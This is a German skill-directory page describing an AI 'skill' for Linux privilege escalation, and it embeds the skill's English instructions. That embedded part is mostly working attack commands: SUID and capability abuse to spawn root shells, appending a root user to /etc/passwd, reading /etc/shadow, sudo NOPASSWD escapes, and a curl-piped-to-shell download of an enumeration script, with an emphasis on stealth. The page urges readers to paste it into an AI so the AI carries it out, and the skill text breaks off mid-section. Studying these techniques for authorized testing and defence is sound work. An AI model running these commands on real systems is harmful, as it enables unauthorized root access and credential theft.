Zum Inhalt springen
Skillpedia
Sicherheit10k · #11967

offensive-linux-privesc

Was er macht

Dieser Skill ist eine Methodik, um von einem Konto mit wenig Rechten auf Root-Rechte unter Linux zu gelangen. Er behandelt sudo-Regeln, SUID-Programme, Fähigkeiten, Cron-Jobs und Dateiberechtigungen. Er ist für Sicherheitsfachleute gedacht, die Linux-Hosts mit schriftlicher Genehmigung testen.

Wann du ihn nutzt

  • ✓Wenn du in einem autorisierten Test eine Shell mit wenig Rechten auf einem Linux-Host hast und Root-Zugriff prüfen willst.
  • ✓Wenn du sudo-Regeln, SUID-Programme und Fähigkeiten auf Fehlkonfigurationen prüfen willst.
  • ✓Wenn du Cron-Jobs oder beschreibbare Skripte prüfen musst, die mit höheren Rechten laufen.

Link zum Skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Wir sind autorisiert, diesen Linux-Server zu testen. Ich habe ein Konto mit wenig Rechten. Prüfe, ob ich auf Root eskalieren kann.”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Der Skill führt zuerst eine automatische Aufzählung durch und prüft dann die wahrscheinlichsten Bereiche, etwa sudo, SUID-Programme und Fähigkeiten. Danach schaut er sich Cron-Jobs, Dateiberechtigungen und andere Wege an und prüft die gefundene Kette.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

Linux Privilege Escalation

You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.

Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.

Quick Workflow

  1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
  2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
  3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
  4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
  5. Check for NFS shares with no_root_squash and Docker group membership.
  6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
  7. Validate the escalation path, document the chain, and clean up artifacts.

Automated Enumeration

Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.

# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out

# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"

# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.


SUID/SGID Binary Abuse

SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.

Enumeration

# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Exploitation via GTFOBins

# If find is SUID
find . -exec /bin/sh -p \;

# If vim is SUID
vim -c ':!/bin/sh'

# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd

# If bash is SUID
bash -p

# If nmap (old interactive mode) is SUID
nmap --interactive
!sh

Custom SUID Binary Analysis

# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open

# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1

If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.


Linux Capabilities Exploitation

Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.

# Find binaries with capabilities set
getcap -r / 2>/dev/null

Exploitation

# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim (read/write any file)
vim /etc/shadow

# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.


Sudo Misconfigurations

Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.

# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null

NOPASSWD Exploitation

# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'

# If sudo
Häufige Fragen

Was ist ein SUID-Programm?

Ein Programm, das mit den Rechten seines Besitzers läuft und bei falscher Konfiguration missbraucht werden kann.

Welche Werkzeuge nennt er?

LinPEAS und linux-exploit-suggester für automatische Prüfungen.

Ist er nur für autorisierte Tests gedacht?

Ja. Er ist für Systeme geschrieben, die du testen darfst.

Details

Originalbeschreibung des Autors

Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195,

repo: SnailSploit/Claude-Red

Beliebtheit

GitHub-Sterne
10k
Platz im Ranking
#11967
Lizenz
MIT
Aktualisiert
12.10.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills